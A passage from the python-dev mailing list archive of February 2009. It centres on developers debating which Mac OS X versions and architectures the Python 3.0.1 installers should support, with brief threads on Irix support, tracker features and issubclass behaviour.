(32-bit i386) for 10.4/10.5 and, for 10.5, "universal" (4-way 32-bit and 
64-bit intel/ppc).  They all have been passing the standard regrtest 
with no new obvious (to me) regressions but I certainly won't claim to 
have done complete and thorough testing.  (In particular, I have no 
access to a G5 for 64-bit PPC testing.)

However the "official" OS X images are built, there is an important 
issue about them that should be addressed now.   That issue is which OS 
X versions should be supported by installer images.  (This may well have 
been discussed before so my apologies if I am covering old ground here.)

Some background: OS X 10.4 (Tiger) introduced 2-way ("fat") executables 
and libraries which include object code for both ppc and i386 in the 
same files.  OS X 10.5 (Leopard) extended that support to 4-way 
("universal"), adding 64-bit x86_64 and ppc64.  In 10.5, much, but not 
all, of OS X and a growing number of applications are shipped as 4-way 
universal.  The OS X developer tools include SDKs to allow cross-builds 
for various OS X levels and architectures.  There is a build-time 
environ variable, MACOSX_DEPLOYMENT_TARGET, which specifies the minimum 
OSX releases that an executable will work with. 

Starting in 2006, the 2.5.x series of Python OS X installers were 
released as "fat" but built with MACOSX_DEPLOYMENT_TARGET=10.3 so that 
the same installer image would work on 10.3 PPC and 10.4 PPC and intel.   
Unfortunately, along the way, there was a significant bug in 
distutils.util.get_platform not returning "fat" in the platform string; 
among other things this has had impact on packages on PyPI.  Ronald 
fixed the problem prior to 2.5.2 (?) but, for compatibility, the fix is 
only effective if MACOSX_DEPLOYMENT_TARGET >= 10.4 and the 2.5.x 
installers continued to be built as 10.3.  Also unfortunately, the 
deployment target for the first 2.6 OS X installer was not updated.  In 
the meantime, Ronald added support for 64-bit and 4-way universal builds 
for 10.5 but, to date, no official installer images have been released 
with that enabled although clearly people are already building their own 
64-bit OS X pythons.

The last Apple point release of 10.3 was in 4/2005.  10.4 was also 
released then.  The last Apple maintenance release of 10.4 was in 
11/2007.  10.5 was released in 10/2007 and, with subsequent update 
releases, remains the current system.  While no release dates have been 
announced, 10.6 (Snow Leopard) is rumored to be nearing release.  If 
Apple follows past practices, they will likely terminate all support for 
10.4 (release n-2) when 10.6 releases and will continue to support 10.5 
(n-1) for the lifetime of 10.6.  Needless to say, Apple stopped 
supporting 10.3 a long time ago and, if 10.6 does release in the not 
too-distant future, 10.4's days are numbered.

What does this mean for Python?  To date, there have been no official 
3.0 OS X installers released.  Because of the deficiencies of building 
for the long-unsupported 10.3 (the distutils bug, the lack of 64-bit 
support, and probably other things I'm not aware of), I think it is very 
important that the 3.0.1 get off on the right foot by changing the 
minimum supported versions now.

I see three plausible options:

1. Release an installer built for 10.5 and higher.
   pros: delivers 32-support and 64-support;
   cons: prematurely disenfranchises 10.4 users

2. Release an installer built for 10.4 and higher.
   pros: one size fits all
   cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc

3. Release two installers, one each for 10.4+ and 10.5+.
    pros: supports current and future systems;
           delivers 64-support to 10.5+ users;
           could choose to drop 10.4 installers anytime after 10.6 
           releases;
    cons: some extra work to build/release
             (but not much and not often);
             others??

Note, this is only talking about the python.org installer images, not 
Python itself.  Users of older systems (10.3 and earlier) would still be 
able to build their own Pythons or even installers.  However, there 
could (should?) be an explicit statement made as to what OS X versions 
are "officially" supported.

With the improvements to the build process and the experience I've had 
so far, I would strongly recommend option 3.  I am willing to commit to 
supplying those images for 3.0.1 and beyond until we can get to a more 
automated process.  Or I'd be happy to work with someone else to make it 
happen for 3.0.1.  Now that the tarball is out, I will be able to get 
the images built and tested this weekend.

BTW, over on the pythonmac forum, there has been discussion of having 
some Mac activities at Pycon.  Ronald is planning to be there and I'm 
hoping to, as well, so that could be a great opportunity to discuss and 
work on futures.  And this same discussion and decision needs to be made 
going forward for 2.7 and 2.6.x (I think the change should be made for 
2.6.2).

So, to summarize, I will build and test installer images for 3.0.1 built 
for 10.4+ and for 10.5+ and will make them available, if there is 
interest.  If someone else is planning on making official installer(s), 
I'd be happy to pass along my experiences so far.  In any case, I 
strongly urge that the minimum support level be 10.4.

--Ned

-- 
 Ned Deily,
 nad at acm.org


From stephen at xemacs.org  Sat Feb 14 12:54:53 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sat, 14 Feb 2009 20:54:53 +0900
Subject: [Python-Dev]  OS X Installer for 3.0.1 and supported versions
In-Reply-To: <nad-34F90E.03222214022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
Message-ID: <87d4dls06q.fsf@xemacs.org>

Ned Deily writes:

 > I see three plausible options:
 > 
 > 1. Release an installer built for 10.5 and higher.
 >    pros: delivers 32-support and 64-support;
 >    cons: prematurely disenfranchises 10.4 users

+0 This would bother me; I have a couple of older Macs that run 10.4.
But it's acceptable (I can always use MacPorts or build from source).
I would suppose most folks who are running 10.4 even today are "cranks
like me, baby, we were born to fuss!"<wink>  Ahem, anyway, I suspect
people who care that much about stability are generally old-school
types who are willing to roll their own to some extent.

 > 2. Release an installer built for 10.4 and higher.
 >    pros: one size fits all
 >    cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc

-1 I think if you're going to have a break, make it a big one.  By the
time people who use installers are using Python 3.0 a lot, most of
them will be on 10.6.

 > 3. Release two installers, one each for 10.4+ and 10.5+.
 >     pros: supports current and future systems;
 >            delivers 64-support to 10.5+ users;
 >            could choose to drop 10.4 installers anytime after 10.6 
 >            releases;
 >     cons: some extra work to build/release
 >              (but not much and not often);

+1

 > work on futures.  And this same discussion and decision needs to be made 
 > going forward for 2.7 and 2.6.x (I think the change should be made for 
 > 2.6.2).

Generally my inclination is the same here, but the distinction between
options 2 and 3 is a little less extreme.


From greg.ewing at canterbury.ac.nz  Sat Feb 14 13:02:49 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sun, 15 Feb 2009 01:02:49 +1300
Subject: [Python-Dev] Small misleadingness in  docs
In-Reply-To: <gn6062$efi$1@ger.gmane.org>
References: <49961E01.7000109@canterbury.ac.nz>
	<EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>
	<gn6062$efi$1@ger.gmane.org>
Message-ID: <4996B2E9.8080600@canterbury.ac.nz>

Georg Brandl wrote:

> Since I cannot imagine a scenario where you would want to have non-classes
> as the arguments of issubclass(),

I had one today, which is what led me to discover this.
I'm working on a Python-Ruby bridge that wraps Ruby
objects and classes in Python objects.

I wanted to make isinstance() and issubclass() work in
the expected way when applied to wrappers around Ruby
classes. The ability to fake things using __classes__
and __bases__ turned out to be very handy.

-- 
Greg

From martin at v.loewis.de  Sat Feb 14 13:05:10 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 13:05:10 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <nad-34F90E.03222214022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
Message-ID: <4996B376.1070107@v.loewis.de>

> (This may well have 
> been discussed before so my apologies if I am covering old ground here.)

There might have been discussions on pythonmac lists, but no recent ones
on python-dev, AFAIR.

> The last Apple point release of 10.3 was in 4/2005.  10.4 was also 
> released then. [...]  Needless to say, Apple stopped 
> supporting 10.3 a long time ago and, if 10.6 does release in the not 
> too-distant future, 10.4's days are numbered.

I think this is a matter of personal judgment. If there has been a point
release as recent as three years ago, I wouldn't call that "long ago".
People often continue to use operating systems 10 years after the vendor
stopped supporting it.

So I would personally think that it is desirable to continue supporting
10.3 if possible. For comparison, the Python Windows binaries support
systems back to Windows 2000, but not anymore the non-NT systems (ie.
Windows 95, Windows 98, Windows ME).

> 1. Release an installer built for 10.5 and higher.
>    pros: delivers 32-support and 64-support;
>    cons: prematurely disenfranchises 10.4 users

I don't think this should be done.

> 2. Release an installer built for 10.4 and higher.
>    pros: one size fits all
>    cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc

Why is it that such an installer couldn't include 64-bit support?
Wouldn't 10.4 just ignore architectures it doesn't know about?
Also, didn't 10.4 already support ppc64?

> 3. Release two installers, one each for 10.4+ and 10.5+.
>     pros: supports current and future systems;
>            delivers 64-support to 10.5+ users;
>            could choose to drop 10.4 installers anytime after 10.6 
>            releases;
>     cons: some extra work to build/release
>              (but not much and not often);
>              others??

I don't think this should be done, either. The whole point of
"universal" binaries is that it simplifies choice for end users.

> With the improvements to the build process and the experience I've had 
> so far, I would strongly recommend option 3.  I am willing to commit to 
> supplying those images for 3.0.1 and beyond until we can get to a more 
> automated process.  Or I'd be happy to work with someone else to make it 
> happen for 3.0.1.  Now that the tarball is out, I will be able to get 
> the images built and tested this weekend.

Ultimately, this is for the port maintainer to decide (IMO), which is
still Ronald Oussouren. If he passes this role on to you, it would be
all fine with me, and you could do with the port whatever you please
(even though I might still dislike the additional clutter of two OSX
installers)

> So, to summarize, I will build and test installer images for 3.0.1 built 
> for 10.4+ and for 10.5+ and will make them available, if there is 
> interest.  If someone else is planning on making official installer(s), 
> I'd be happy to pass along my experiences so far.  In any case, I 
> strongly urge that the minimum support level be 10.4.

I still wish there were 10.3+ installers that also include 64-bit code.
I don't get it why that can't be technically possible.

Regards,
Martin


From martin at v.loewis.de  Sat Feb 14 15:00:28 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Sat, 14 Feb 2009 15:00:28 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	
	<200902120954.53578.victor.stinner@haypocalc.com>	
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>	
	<200902121434.17723.victor.stinner@haypocalc.com>	
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>	
	<49946F61.6020803@v.loewis.de>	
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>	
	<499509FA.5030607@v.loewis.de>	
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>	
	<49960207.3070507@v.loewis.de>
	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>
Message-ID: <4996CE7C.9080109@v.loewis.de>

> But no way to share aggregated search results (I've sent some
> off-list), 'follow' users (i.e., be added as nosy for issues where
> user A is nosy), auto-add as nosy based on keywords, etc. Someday we
> could have these nosy features hosted externally, e.g. as an AppEngine
> app that subscribes to python-bugs and sends alerts to users matching
> the message (by keyword, performed action, new stage, etc.).

Please, please, no. If you can add it to an external application,
please, pretty pretty please, add it to roundup directly (or, rather,
to this specific tracker).

> 
>>> Right now, more efficient searching and aggregation along with some
>>> (local, flexible) UI tweaks sum it up.
>> Efficient in what way?
> 
> Having those complex searches in a less convoluted workflow, allowing
> more work to be done faster and in a less error prone way.

If it's useful to you, it might be useful to others as well. So consider
contributing free-form searches to roundup (in addition to form-based
searches).

Regards,
Martin

From barry at python.org  Sat Feb 14 15:29:54 2009
From: barry at python.org (Barry Warsaw)
Date: Sat, 14 Feb 2009 09:29:54 -0500
Subject: [Python-Dev] The fate of 3.0.*
In-Reply-To: <ca471dc20902131902r4c332bf9i3301e926bc4cf291@mail.gmail.com>
References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com>
	<bbaeab100902131849s199b01e7iff77ff52b8fa601e@mail.gmail.com>
	<ca471dc20902131902r4c332bf9i3301e926bc4cf291@mail.gmail.com>
Message-ID: <CEB8E9D1-87F5-41DF-9386-310FDCC797D4@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 13, 2009, at 10:02 PM, Guido van Rossum wrote:

> Amen. I can see two scenarios where we might release 3.0.2: (a) if we
> find a really severe error in 3.0.1 (or perhaps a security problem);
> (b) if 3.1 ends up getting delayed severely.
>
> In case (a) happens it's okay if the 3.0 branch is left alone until
> the time we need to make that one patch. The probability of (b) is
> low, so let's worry about that when it happens, and let's try not to
> make it happen. :-)

That's more than fine with me! :)

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZbVYnEjvBPtnXfVAQKVxgP+NFpKibfYS5cjk68H/ImTYydGX82skFzP
vtKNEvJeYdLg+WCpC88W9mL8jqBiG4yyKIXXF2hlVkX74tZbR3FU+V1EbXSvC46d
rO5ZzFWMaVW/qrxepeY2tAiUCr82CVD1b6W8E0IAms7UjUKBPS9n2fYKsWOGEQph
1pLbdp7CBek=
=j0yP
-----END PGP SIGNATURE-----

From barry at python.org  Sat Feb 14 15:32:43 2009
From: barry at python.org (Barry Warsaw)
Date: Sat, 14 Feb 2009 09:32:43 -0500
Subject: [Python-Dev] RELEASED Python 3.0.1
In-Reply-To: <ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
Message-ID: <30B69D1B-E36B-4FAA-A584-0B892E50A11C@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 13, 2009, at 11:46 PM, Benjamin Kaplan wrote:

> Any chance of getting a Mac installer for this one?

I believe Ronald is planning to upload it soon.
Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZbWDHEjvBPtnXfVAQJNOQQAl89fJc7ezmpaDlClehtFJTwX5xE7JAtD
yZ47O9yUOQfdIem2l1VVApHnsnUmLKILYG3v4MHiWJBjOT10Oxjc4JKlV3nmREda
aUYOHCk1aHrPgdLHS4Cb/NBA6uYoG/+fHBcEMujClxv30lUTj76kDcjIMlflcpu6
r9I/jJdYywg=
=nyT7
-----END PGP SIGNATURE-----

From guido at python.org  Sat Feb 14 18:02:20 2009
From: guido at python.org (Guido van Rossum)
Date: Sat, 14 Feb 2009 09:02:20 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <87d4dls06q.fsf@xemacs.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org> <87d4dls06q.fsf@xemacs.org>
Message-ID: <ca471dc20902140902t1713a187gb01a44189ceb4fa0@mail.gmail.com>

On Sat, Feb 14, 2009 at 3:54 AM, Stephen J. Turnbull <stephen at xemacs.org> wrote:
> I would suppose most folks who are running 10.4 even today are "cranks
> like me, baby, we were born to fuss!"<wink>  Ahem, anyway, I suspect
> people who care that much about stability are generally old-school
> types who are willing to roll their own to some extent.

Actually I expect that to be fairly common among people who are not so
much into technology, strapped for funds but appreciative of quality,
bought an expensive Mac once expecting it would last a long time, and
are hanging on to it until it dies (which could be a long time). Their
hardware may not support newer OS X versions.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From tjreedy at udel.edu  Sat Feb 14 18:07:18 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 14 Feb 2009 12:07:18 -0500
Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology)
In-Reply-To: <4996CE7C.9080109@v.loewis.de>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>		<200902120954.53578.victor.stinner@haypocalc.com>		<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>		<200902121434.17723.victor.stinner@haypocalc.com>		<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>		<49946F61.6020803@v.loewis.de>		<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>		<499509FA.5030607@v.loewis.de>		<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>		<49960207.3070507@v.loewis.de>	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>
	<4996CE7C.9080109@v.loewis.de>
Message-ID: <gn6to6$2ed$1@ger.gmane.org>

Can http://bugs.python.org/issue995458
"Does not build selected SGI specific modules"be closed?

PEP11 lists Irix 4 as gone.  What about Irix 6?
http://www.python.org/dev/peps/pep-0011/

Pep3108 notes that IRIX is no longer produced as of Dec 2006 and that 
Irix specific modules are gone from Py3.
http://www.python.org/dev/peps/pep-3108/#irix
Does Py3 still have Irix 6 support?


From ronaldoussoren at mac.com  Sat Feb 14 18:16:58 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Sat, 14 Feb 2009 18:16:58 +0100
Subject: [Python-Dev] RELEASED Python 3.0.1
In-Reply-To: <49968713.4080705@v.loewis.de>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<49968713.4080705@v.loewis.de>
Message-ID: <7B96CE20-80E9-47DF-9C14-A542E47F0017@mac.com>


On 14 Feb, 2009, at 9:55, Martin v. L?wis wrote:

>> Any chance of getting a Mac installer for this one?
>
> Chances are non-zero, yes.


I had hoped to build one last night, but got home way later than I had  
planned. The installer is building as I type this.

Ronald

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090214/3918c8f2/attachment.bin>

From tjreedy at udel.edu  Sat Feb 14 18:18:27 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 14 Feb 2009 12:18:27 -0500
Subject: [Python-Dev] Small misleadingness in  docs
In-Reply-To: <4996B2E9.8080600@canterbury.ac.nz>
References: <49961E01.7000109@canterbury.ac.nz>	<EB9AE6A869614EC899F89342539B320E@RaymondLaptop1>	<gn6062$efi$1@ger.gmane.org>
	<4996B2E9.8080600@canterbury.ac.nz>
Message-ID: <gn6ud3$4a7$1@ger.gmane.org>

Greg Ewing wrote:
> Georg Brandl wrote:
> 
>> Since I cannot imagine a scenario where you would want to have 
>> non-classes
>> as the arguments of issubclass(),
> 
> I had one today, which is what led me to discover this.
> I'm working on a Python-Ruby bridge that wraps Ruby
> objects and classes in Python objects.
> 
> I wanted to make isinstance() and issubclass() work in
> the expected way when applied to wrappers around Ruby
> classes. The ability to fake things using __classes__
> and __bases__ turned out to be very handy.

The new (in 3.0 and maybe 2.6, but undocumented) special methods 
__instancecheck__ and __subclasscheck__ let one overload the default 
behavior of isinstance and issubclass.  So there is no reason to have 
the default behavior necessarily cover 'unusual' cases.  See
http://www.python.org/dev/peps/pep-3119/#overloading-isinstance-and-issubclass
and http://bugs.python.org/issue5250.


From ronaldoussoren at mac.com  Sat Feb 14 18:35:47 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Sat, 14 Feb 2009 18:35:47 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <nad-34F90E.03222214022009@news.gmane.org>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
Message-ID: <6FC960B6-7723-4887-9342-FAC4D0C936C3@mac.com>


On 14 Feb, 2009, at 12:22, Ned Deily wrote:

> Speaking of an OS X installer for 3.0.1, over the last few weeks I  
> have
> been working on tidying up the OS X installer build process.  While  
> the
> basic OS X build/installer process is good, some cruft has accumulated
> over the past years and a number of mostly minor issues arose due to  
> the
> 3.x split.  IMO, the most important issues were with IDLE and,  
> thanks to
> Ronald, we did get the most important fixes for OS X IDLE checked-in  
> in
> time for 3.0.1; they are also in py3k and will be going into trunk and
> 26.  I have a few other fixes that apply just to the OSX build/ 
> installer
> parts which did not get submitted in time for the 3.0.1 cutoff but  
> which
> are ready to go for 3.x and 2.x.  Basically they fix some version  
> number
> updating and ensure that the installer image will be built  
> reproducibly
> in a clean environment so there is no contamination of the installer
> images.  Currently, that's easy to do as happened with the first round
> of the OS X 2.6 installer (e.g. with a locally installed Tcl/Tk).   
> They
> also allow images to build for various OS X version.  More on that  
> below.

There's one problem with building with an entirely clean environment  
though, the 2.5 installers were build with a locally instaled Tcl/Tk  
on purpose. Such a build uses a locally installed Tcl/Tk when  
available and uses the system version when it is not. Several Tkinter  
users on OSX pushed heavily for that because appearently the system Tk  
is much less usable than the 3th-party install.

I don't care much either way, IMHO the look and feel of Tk apps sucks  
with either version of Tcl/Tk and I don't use Tkinter anyway.

>
> I would like to get to the point where the OS X images can be  
> generated
> and tested automatically.  I think that is reasonable and achievable.
> It's not quite there yet but I can now semi-automatically produce  
> images
> for 2.6, 2.7 (trunk), 3.0, and 3.1 (py3k) in both the traditional  
> "fat"
> (32-bit i386) for 10.4/10.5 and, for 10.5, "universal" (4-way 32-bit  
> and
> 64-bit intel/ppc).  They all have been passing the standard regrtest
> with no new obvious (to me) regressions but I certainly won't claim to
> have done complete and thorough testing.  (In particular, I have no
> access to a G5 for 64-bit PPC testing.)

I'd love to get to the point where it's possible to completely  
automaticly build the installers. I noticed one issue with that that  
I'll fix in the near future: the current build script for the OSX  
installer relies on the availability of the HTML docs download on the  
Python ftp-site. That dependency should no longer be necessary now  
that the documentation is build using a pure python toolchain.

>
>
> However the "official" OS X images are built, there is an important
> issue about them that should be addressed now.   That issue is which  
> OS
> X versions should be supported by installer images.  (This may well  
> have
> been discussed before so my apologies if I am covering old ground  
> here.)
>
>
>
> The last Apple point release of 10.3 was in 4/2005.  10.4 was also
> released then.  The last Apple maintenance release of 10.4 was in
> 11/2007.  10.5 was released in 10/2007 and, with subsequent update
> releases, remains the current system.  While no release dates have  
> been
> announced, 10.6 (Snow Leopard) is rumored to be nearing release.  If
> Apple follows past practices, they will likely terminate all support  
> for
> 10.4 (release n-2) when 10.6 releases and will continue to support  
> 10.5
> (n-1) for the lifetime of 10.6.  Needless to say, Apple stopped
> supporting 10.3 a long time ago and, if 10.6 does release in the not
> too-distant future, 10.4's days are numbered.

It's not just what Apple supports though, there's also the question of  
what
people actually use.

That said, unless anyone wants to step in to support 10.3 systems I'm in
favour of completely dropping 10.3 support in the binary installers. The
reason for that is twofold: first of all 10.3 is ancient, and more  
importantly
I no longer have access to hardware that will run 10.3 and can therefore
no longer test if 10.3 support actually works.

>
> What does this mean for Python?  To date, there have been no official
> 3.0 OS X installers released.  Because of the deficiencies of building
> for the long-unsupported 10.3 (the distutils bug, the lack of 64-bit
> support, and probably other things I'm not aware of), I think it is  
> very
> important that the 3.0.1 get off on the right foot by changing the
> minimum supported versions now.
>
>
> I see three plausible options:
>
> 1. Release an installer built for 10.5 and higher.
>   pros: delivers 32-support and 64-support;
>   cons: prematurely disenfranchises 10.4 users
>
> 2. Release an installer built for 10.4 and higher.
>   pros: one size fits all
>   cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc
>
> 3. Release two installers, one each for 10.4+ and 10.5+.
>    pros: supports current and future systems;
>           delivers 64-support to 10.5+ users;
>           could choose to drop 10.4 installers anytime after 10.6
>           releases;
>    cons: some extra work to build/release
>             (but not much and not often);
>             others??

I'm in favour of providing two installers: one installer for 10.4 and  
higher that support 32-bit only, and one installer for 10.5 and higher  
that supports ppc, x86 and x86_64.  Ppc64 support could be added as  
well, but only if someone else is willing to support that, I don't  
have reliable access to a ppc64 system for development.  I did notice  
that several libraries, such as libffi (used by ctypes and pyobjc)  
don't work reliably on osx/ppc64.
>
> BTW, over on the pythonmac forum, there has been discussion of having
> some Mac activities at Pycon.  Ronald is planning to be there and I'm
> hoping to, as well, so that could be a great opportunity to discuss  
> and
> work on futures.  And this same discussion and decision needs to be  
> made
> going forward for 2.7 and 2.6.x (I think the change should be made for
> 2.6.2).

I'll be at Pycon and part of post-pycon sprint days (I'm flying back  
on april 1st).  I had already planned to try to get a mac-related  
sprint going at pycon, I've added work on this on the list of possible  
topics.

Ronald
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090214/dbc6c899/attachment-0001.bin>

From ronaldoussoren at mac.com  Sat Feb 14 18:44:56 2009
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Sat, 14 Feb 2009 18:44:56 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <4996B376.1070107@v.loewis.de>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
Message-ID: <AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>


On 14 Feb, 2009, at 13:05, Martin v. L?wis wrote:
>
>> 2. Release an installer built for 10.4 and higher.
>>   pros: one size fits all
>>   cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc
>
> Why is it that such an installer couldn't include 64-bit support?
> Wouldn't 10.4 just ignore architectures it doesn't know about?
> Also, didn't 10.4 already support ppc64?

10.4 only supported 64-bit code for a very limited number of system  
libraries, basicly just enough to support running 64-bit number  
crunching code.  System-wide support for 64-bit code was added in 10.5.

A single installer could support both 32-bit on 10.4 and 64-bit on  
10.5, but I don't think that's very useful because there are changes  
in the low-level unix API's that could result in different behaviour  
of a 32-bit and 64-bit script on the same system. In general 10.5 has  
much saner Unix API's than earlier releases.

>
>
>> So, to summarize, I will build and test installer images for 3.0.1  
>> built
>> for 10.4+ and for 10.5+ and will make them available, if there is
>> interest.  If someone else is planning on making official  
>> installer(s),
>> I'd be happy to pass along my experiences so far.  In any case, I
>> strongly urge that the minimum support level be 10.4.
>
> I still wish there were 10.3+ installers that also include 64-bit  
> code.
> I don't get it why that can't be technically possible.

The problem with 10.3 support is that we need volunteers to actually
investigate and fix issues that only occur on 10.3 systems. I cannot be
that volunteer because I no longer have access to systems that are
capable of running 10.3.

That said, the difference between a binary capable of running on 10.4+
and one running 10.3+ is minimal. I introduced weak-linking for a number
of symbols that are not present on 10.3.9 in the 2.5 timeframe and that
could should continue to work in the future. I won't notice when someone
introduces additional calls to functions not available on 10.3 though.

Ronald

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2224 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090214/4e411d77/attachment.bin>

From guido at python.org  Sat Feb 14 18:59:22 2009
From: guido at python.org (Guido van Rossum)
Date: Sat, 14 Feb 2009 09:59:22 -0800
Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology)
In-Reply-To: <gn6to6$2ed$1@ger.gmane.org>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
	<499509FA.5030607@v.loewis.de>
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
	<49960207.3070507@v.loewis.de>
	<2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com>
	<4996CE7C.9080109@v.loewis.de> <gn6to6$2ed$1@ger.gmane.org>
Message-ID: <ca471dc20902140959v40e73876ta77456b6ee9d08f0@mail.gmail.com>

Irix is long dead and we don't support it in any form or version.

On Sat, Feb 14, 2009 at 9:07 AM, Terry Reedy <tjreedy at udel.edu> wrote:
> Can http://bugs.python.org/issue995458
> "Does not build selected SGI specific modules"be closed?
>
> PEP11 lists Irix 4 as gone.  What about Irix 6?
> http://www.python.org/dev/peps/pep-0011/
>
> Pep3108 notes that IRIX is no longer produced as of Dec 2006 and that Irix
> specific modules are gone from Py3.
> http://www.python.org/dev/peps/pep-3108/#irix
> Does Py3 still have Irix 6 support?
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From martin at v.loewis.de  Sat Feb 14 19:04:16 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Feb 2009 19:04:16 +0100
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
In-Reply-To: <AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
	<4996B376.1070107@v.loewis.de>
	<AF8BACD4-CB51-480A-8BA9-425C860ED81F@mac.com>
Message-ID: <499707A0.7000200@v.loewis.de>

> A single installer could support both 32-bit on 10.4 and 64-bit on 
> 10.5, but I don't think that's very useful because there are changes 
> in the low-level unix API's that could result in different behaviour
> of a 32-bit and 64-bit script on the same system. In general 10.5 has
> much saner Unix API's than earlier releases.

I don't get that. Why would the scripts behave differently on 10.5
depending on whether the Python interpreter is 32-bit or 64-bit?
Surely, the Unix API does the same thing, whether invoked from 32-bit
code, or 64-bit code, no?

>> I still wish there were 10.3+ installers that also include 64-bit
>> code. I don't get it why that can't be technically possible.
> 
> The problem with 10.3 support is that we need volunteers to actually 
> investigate and fix issues that only occur on 10.3 systems. I cannot
> be that volunteer because I no longer have access to systems that are
>  capable of running 10.3.

I don't think it is necessary to actually test whether the binaries
work on 10.3; I don't test the Windows installers on Windows 2000,
